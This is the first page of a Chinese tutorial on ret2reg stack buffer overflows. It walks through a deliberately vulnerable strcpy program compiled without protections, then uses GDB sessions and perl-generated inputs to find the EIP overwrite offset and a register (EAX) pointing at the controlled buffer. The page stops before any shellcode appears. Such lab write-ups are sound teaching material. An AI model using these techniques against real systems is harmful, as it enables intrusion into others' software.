ret2reg缓冲区溢出攻击


被溢出程序源码如下:

  1.  root@linux:~/pentest# cat vulnerable.c   
  2. #include <stdio.h>   
  3. #include <string.h>   
  4.   
  5. void evilfunction(char *input) {  
  6.   
  7.     char buffer[1000];  
  8.     strcpy(buffer, input);  
  9. }  
  10.   
  11. int main(int argc, char **argv) {  
  12.   
  13.     evilfunction(argv[1]);  
  14.   
  15.     return 0;  
  16. }  

编译,并用gdb反汇编代码如下:

  1. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c  
  2.   
  3.   
  4. root@linux:~/pentest# gdb vulnerable  
  5. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  6. Copyright (C) 2010 Free Software Foundation, Inc.  
  7. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  8. This is free software: you are free to change and redistribute it.  
  9. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  10. and "show warranty" for details.  
  11. This GDB was configured as "i686-linux-gnu".  
  12. For bug reporting instructions, please see:  
  13. <http://www.gnu.org/software/gdb/bugs/>...   
  14. Reading symbols from /root/pentest/vulnerable...done.  
  15. (gdb) disass main  
  16. Dump of assembler code for function main:  
  17.    0x080483e4 <+0>:    push   %ebp  
  18.    0x080483e5 <+1>:    mov    %esp,%ebp  
  19.    0x080483e7 <+3>:    and    {1}xfffffff0,%esp  
  20.    0x080483ea <+6>:    sub    {1}x10,%esp  
  21.    0x080483ed <+9>:    mov    0xc(%ebp),%eax  
  22.    0x080483f0 <+12>:    add    {1}x4,%eax  
  23.    0x080483f3 <+15>:    mov    (%eax),%eax  
  24.    0x080483f5 <+17>:   mov    %eax,(%esp)  
  25.    0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  
  26.    0x080483fd <+25>:    mov    {1}x0,%eax  
  27.    0x08048402 <+30>:    leave    
  28.    0x08048403 <+31>:    ret      
  29. End of assembler dump.  
  30. (gdb) disass evilfunction  
  31. Dump of assembler code for function evilfunction:  
  32.    0x080483c4 <+0>:    push   %ebp  
  33.    0x080483c5 <+1>:    mov    %esp,%ebp  
  34.    0x080483c7 <+3>:    sub    {1}x408,%esp  
  35.    0x080483cd <+9>:    mov    0x8(%ebp),%eax  
  36.    0x080483d0 <+12>:    mov    %eax,0x4(%esp)  
  37.    0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  
  38.    0x080483da <+22>:    mov    %eax,(%esp)  
  39.    0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  
  40.    0x080483e2 <+30>:    leave    
  41.    0x080483e3 <+31>:    ret      
  42. End of assembler dump.  
  43. (gdb)   

分析evilfunction函数调用栈的使用情况,如下图所示:

可以看到,要想溢出该栈,需要至少1016B的数据。

下面我们用gdb调试一下,看上面的分析是不是正确:

  1. (gdb) run `perl -e 'print "\x41"x1014'`  
  2. The program being debugged has been started already.  
  3. Start it from the beginning? (y or n) y  
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1014'`  
  5.   
  6. Program received signal SIGSEGV, Segmentation fault.  
  7. 0x08004141 in ?? ()  
  8. (gdb) run `perl -e 'print "\x41"x1015'`  
  9. The program being debugged has been started already.  
  10. Start it from the beginning? (y or n) y  
  11. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1015'`  
  12.   
  13. Program received signal SIGSEGV, Segmentation fault.  
  14. 0x00414141 in ?? ()  
  15. (gdb) run `perl -e 'print "\x41"x1016'`  
  16. The program being debugged has been started already.  
  17. Start it from the beginning? (y or n) y  
  18. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1016'`  
  19.   
  20. Program received signal SIGSEGV, Segmentation fault.  
  21. 0x41414141 in ?? ()  
  22. (gdb)  

通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。

下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。

  1. root@linux:~/pentest# gdb vulnerable  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>   
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>...   
  11. Reading symbols from /root/pentest/vulnerable...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080483e4 <+0>:    push   %ebp  
  15.    0x080483e5 <+1>:    mov    %esp,%ebp  
  16.   0x080483e7 <+3>:    and    {1}xfffffff0,%esp  
  17.    0x080483ea <+6>:    sub    {1}x10,%esp  
  18.    0x080483ed <+9>:    mov    0xc(%ebp),%eax  
  19.    0x080483f0 <+12>:    add    {1}x4,%eax  
  20.    0x080483f3 <+15>:    mov    (%eax),%eax  
  21.    0x080483f5 <+17>:    mov    %eax,(%esp)  
  22.    0x080483f8 <+20>:    call   0x80483c4 <evilfunction>  
  23.    0x080483fd <+25>:    mov    {1}x0,%eax  
  24.    0x08048402 <+30>:    leave    
  25.    0x08048403 <+31>:    ret      
  26. End of assembler dump.  
  27. (gdb) b *main+20  
  28. Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.  
  29. (gdb) b *main+31  
  30. Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.  
  31. (gdb) disass evilfunction   
  32. Dump of assembler code for function evilfunction:  
  33.    0x080483c4 <+0>:    push   %ebp  
  34.    0x080483c5 <+1>:    mov    %esp,%ebp  
  35.    0x080483c7 <+3>:    sub    {1}x408,%esp  
  36.    0x080483cd <+9>:    mov    0x8(%ebp),%eax  
  37.    0x080483d0 <+12>:    mov    %eax,0x4(%esp)  
  38.    0x080483d4 <+16>:    lea    -0x3f0(%ebp),%eax  
  39.    0x080483da <+22>:    mov    %eax,(%esp)  
  40.    0x080483dd <+25>:    call   0x80482f4 <strcpy@plt>  
  41.    0x080483e2 <+30>:    leave    
  42.    0x080483e3 <+31>:    ret      
  43. End of assembler dump.  
  44. (gdb) b *evilfunction+31  
  45. Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.  
  46. (gdb) run `perl -e 'print "\x41"x1012,"\x42"x4'`  
  47. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1012,"\x42"x4'`  
  48.   
  49. Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12  
  50. 12        evilfunction(argv[1]);  
  51. (gdb) stepi  
  52. evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4  
  53. 4    void evilfunction(char *input) {  
  54. (gdb) i r esp  
  55. esp            0xbfffef9c    0xbfffef9c  
  56. (gdb) x/10x $esp-16  
  57. 0xbfffef8c:    0x08048429    0x00171cbd    0x0029f324   0x0029eff4  
  58. 0xbfffef9c:    0x080483fd    0xbffff203    0x0011ea50    0x0804841b  
  59. 0xbfffefac:    0x0029eff4    0x08048410  
  60. (gdb) c  
  61. Continuing.  
  62.   
  63. Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8  
  64. 8    }  
  65. (gdb) i r esp  
  66. esp            0xbfffef9c    0xbfffef9c  
  67. (gdb) x/10x $esp-16  
  68. 0xbfffef8c:    0x41414141    0x41414141    0x41414141    0x41414141  
  69. 0xbfffef9c:    0x42424242    0xbffff200    0x0011ea50    0x0804841b  
  70. 0xbfffefac:    0x0029eff4    0x08048410  
  71. (gdb) c  
  72. Continuing.  
  73.   
  74. Program received signal SIGSEGV, Segmentation fault.  
  75. 0x42424242 in ?? ()  
  76. (gdb) i r   
  77. eax            0xbfffeba8    -1073747032  
  78. ecx            0x0    0  
  79. edx            0xbffff5fc    -1073744388  
  80. ebx            0x29eff4    2748404  
  81. esp            0xbfffefa0    0xbfffefa0  
  82. ebp            0x41414141    0x41414141  
  83. esi            0x0    0  
  84. edi            0x0    0  
  85. eip            0x42424242   0x42424242  
  86. eflags         0x10246    [ PF ZF IF RF ]  
  87. cs             0x73    115  
  88. ss             0x7b    123  
  89. ds             0x7b    123  
  90. es             0x7b    123  
  91. fs             0x0    0  
  92. gs             0x33    51  
  93. (gdb) x/20x $eax  
  94. 0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  
  95. 0xbfffebb8:    0x41414141   0x41414141    0x41414141    0x41414141  
  96. 0xbfffebc8:    0x41414141    0x41414141    0x41414141    0x41414141  
  97. 0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  
  98. 0xbfffebe8:    0x41414141    0x41414141    0x41414141    0x41414141  
  99. (gdb) x/20x $eax -16  
  100. 0xbfffeb98:    0x0015b1c4    0x0015b1c4    0x000027d8    0x00005844  
  101. 0xbfffeba8:    0x41414141    0x41414141    0x41414141    0x41414141  
  102. 0xbfffebb8:    0x41414141    0x41414141    0x41414141    0x41414141  
  103. 0xbfffebc8:    0x41414141   0x41414141    0x41414141    0x41414141  
  104. 0xbfffebd8:    0x41414141    0x41414141    0x41414141    0x41414141  
  105. (gdb)   

  • 1
  • 2
  • 下一页

相关内容